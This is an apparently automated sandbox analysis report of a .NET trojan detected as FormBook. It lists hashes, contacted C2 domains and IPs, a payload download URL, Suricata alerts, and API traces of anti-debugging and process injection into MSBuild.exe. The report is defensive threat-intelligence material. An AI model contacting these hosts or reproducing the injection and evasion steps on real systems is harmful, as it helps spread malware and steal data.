Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	April 26, 2023, 6:07 p.m.	April 26, 2023, 6:14 p.m.

Size	452.5KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`fe889bf209a5e139d07c128c6d0ba877`
SHA256	`9242b1d497cf232d201183851b93b19046929e39e5e512b87ea42f616d0784a4`
CRC32	`C8694FF3`
ssdeep	`1536:2qDlPCJE7I2SCQv4M/2O1DV9SA9Nayp6kZJ4PnXnaQQvMMMMMM1MMMMMIG:1S39iuYXn1Q7G`
Yara	Win32_Trojan_PWS_Net_1_Zero - Win32 Trojan PWS .NET Azorult Is_DotNET_EXE - (no description) Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT IsPE32 - (no description) PE_Header_Zero - PE File Signature

vbc.exe "C:\Users\test22\AppData\Local\Temp\vbc.exe"
792
- MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  2220

Name	Response	Post-Analysis Lookup
www.immernochlustig.com
www.ahmedhussein.tech	CNAME ahmedhussein.tech A 84.32.84.32	84.32.84.32
www.ki-ror.se	A 194.9.94.86 A 194.9.94.85	194.9.94.85
www.davideal.com	A 18.119.154.66 CNAME hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com A 3.140.13.188 CNAME traff-6.hugedomains.com	18.119.154.66

IP Address	Status	Action
164.124.101.2	Active	Moloch
172.245.214.178	Active	Moloch
18.119.154.66	Active	Moloch
194.9.94.86	Active	Moloch
84.32.84.32	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49169 -> 84.32.84.32:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49169 -> 84.32.84.32:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49169 -> 84.32.84.32:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49167 -> 18.119.154.66:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49167 -> 18.119.154.66:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49167 -> 18.119.154.66:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49168 -> 194.9.94.86:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49168 -> 194.9.94.86:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49168 -> 194.9.94.86:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW April 26, 2023, 6:07 p.m.	computer_name: TEST22-PC	1	1	0

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent April 26, 2023, 6:07 p.m.			0	0
IsDebuggerPresent April 26, 2023, 6:07 p.m.			0	0

Uses Windows APIs to generate a cryptographic key (3 events)

Time & API	Arguments	Status	Return
CryptExportKey April 26, 2023, 6:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008792b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 6:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008792b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 6:07 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008793f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx April 26, 2023, 6:07 p.m.		1	1	0

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ April 26, 2023, 6:07 p.m.	stacktrace: CopyPDBs+0x1b552 DllCanUnloadNowInternal-0x25a85 clr+0x1b1194 @ 0x740e1194 LogHelp_TerminateOnAssert+0x14061 GetPrivateContextsPerfCounters-0x53e1 clr+0x82ba1 @ 0x73fb2ba1 mscorlib+0x32d2a9 @ 0x728ed2a9 mscorlib+0x32d233 @ 0x728ed233 mscorlib+0x32d12a @ 0x728ed12a 0x7e043a 0x7e011a 0x7e0061 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x73f4264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x73f42e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x73ff74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x73ff7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x74081dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x74081e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x74081f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7408416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x745df5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74867f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74864de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0xe0434f4e exception.offset: 46887 exception.address: 0x7559b727 registers.esp: 4189772 registers.edi: 0 registers.eax: 4189772 registers.ebp: 4189852 registers.edx: 0 registers.ebx: 9302288 registers.esi: 8674184 registers.ecx: 3327998514	1	0	0

Time & API

Arguments

Status

Return

Repeated

__exception__

April 26, 2023, 6:07 p.m.

stacktrace:

CopyPDBs+0x1b552 DllCanUnloadNowInternal-0x25a85 clr+0x1b1194 @ 0x740e1194
LogHelp_TerminateOnAssert+0x14061 GetPrivateContextsPerfCounters-0x53e1 clr+0x82ba1 @ 0x73fb2ba1
mscorlib+0x32d2a9 @ 0x728ed2a9
mscorlib+0x32d233 @ 0x728ed233
mscorlib+0x32d12a @ 0x728ed12a
0x7e043a
0x7e011a
0x7e0061
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x73f4264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x73f42e95
DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x73ff74ec
DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x73ff7610
CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x74081dc4
CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x74081e67
CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x74081f7a
_CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7408416a
_CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x745df5a3
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74867f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74864de3
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0xe0434f4e
exception.offset: 46887
exception.address: 0x7559b727
registers.esp: 4189772
registers.edi: 0
registers.eax: 4189772
registers.ebp: 4189852
registers.edx: 0
registers.ebx: 9302288
registers.esi: 8674184
registers.ecx: 3327998514

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (4 events)

suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://172.245.214.178/007/Dblvvr.dat
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.davideal.com/my28/?kFQl2H=g8afGKt5BcK8YWBpPCZ4/pxfgmmwdPBJ2VKmtBKY2hxTlxLpEHHrWffhk8WAXZeJbBDqIDJo&oX9=_0GXHXQPdFBhZ
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.ki-ror.se/my28/?kFQl2H=4lfbIkXHco+fuMDhz2Un+xLdCLWdE3L2wwFDQBldcMLfj96ewRmoLvxyaijxNRtmHQY8ZyKd&oX9=_0GXHXQPdFBhZ
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.ahmedhussein.tech/my28/?kFQl2H=X1+ORJ0PqquAMwqRkudv2MXmW9g+6c2tmFrHnXo+N3P5UuIjhh51ghREFDJwWuIRTjSnOhJv&oX9=_0GXHXQPdFBhZ

Performs some HTTP requests (4 events)

request	GET http://172.245.214.178/007/Dblvvr.dat
request	GET http://www.davideal.com/my28/?kFQl2H=g8afGKt5BcK8YWBpPCZ4/pxfgmmwdPBJ2VKmtBKY2hxTlxLpEHHrWffhk8WAXZeJbBDqIDJo&oX9=_0GXHXQPdFBhZ
request	GET http://www.ki-ror.se/my28/?kFQl2H=4lfbIkXHco+fuMDhz2Un+xLdCLWdE3L2wwFDQBldcMLfj96ewRmoLvxyaijxNRtmHQY8ZyKd&oX9=_0GXHXQPdFBhZ
request	GET http://www.ahmedhussein.tech/my28/?kFQl2H=X1+ORJ0PqquAMwqRkudv2MXmW9g+6c2tmFrHnXo+N3P5UuIjhh51ghREFDJwWuIRTjSnOhJv&oX9=_0GXHXQPdFBhZ

Allocates read-write-execute memory (usually to unpack itself) (50 out of 61 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 983040 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004d0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00580000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f31000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f32000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 2031616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x020a0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02250000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00442000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00475000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0047b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00477000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0045c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007e0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0044a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0046a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00467000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0045a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00466000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0046b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0044c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007e1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0045d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007e2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007e3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007e4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007e5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0045e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007e6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0045f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007e7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05800000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007e8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007e9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007ea000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05770000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007eb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007ec000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05801000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0046c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007ed000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007ee000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00468000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007ef000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x059d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x059d1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0582f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05820000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05802000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x059d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x059d3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 792 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x059d4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses April 26, 2023, 6:07 p.m.	flags: 1158 family: 0	1	0	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW April 26, 2023, 6:07 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW April 26, 2023, 6:07 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (9 events)

description	Used Formbook[m]	rule	Win_Trojan_Formbook_m_Zero
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Communicates with host for which no DNS query was performed (1 event)

host

172.245.214.178

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 2220 region_size: 192512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000003ac	1	0	0

Looks for the Windows Idle Time to determine the uptime (1 event)

Time & API	Arguments	Status	Return	Repeated
NtQuerySystemInformation April 26, 2023, 6:07 p.m.	information_class: 8 (SystemProcessorPerformanceInformation)	1	0	0

A process attempted to delay the analysis task. (1 event)

description

vbc.exe tried to sleep 2728163 seconds, actually delayed analysis time by 2728163 seconds

Potential code injection by writing to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory April 26, 2023, 6:07 p.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ôÍ¹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PELBr?à ÒÀðð@ð@.text$ÑÒ ` base_address: 0x00400000 process_identifier: 2220 process_handle: 0x000003ac	1	1	0
WriteProcessMemory April 26, 2023, 6:07 p.m.	buffer: @ base_address: 0xfffde008 process_identifier: 2220 process_handle: 0x000003ac	1	1	0

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory April 26, 2023, 6:07 p.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ôÍ¹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PELBr?à ÒÀðð@ð@.text$ÑÒ ` base_address: 0x00400000 process_identifier: 2220 process_handle: 0x000003ac	1	1	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 792 called NtSetContextThread to modify thread in remote process 2220
NtSetContextThread April 26, 2023, 6:07 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4321472 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000021c process_identifier: 2220	1	0	0

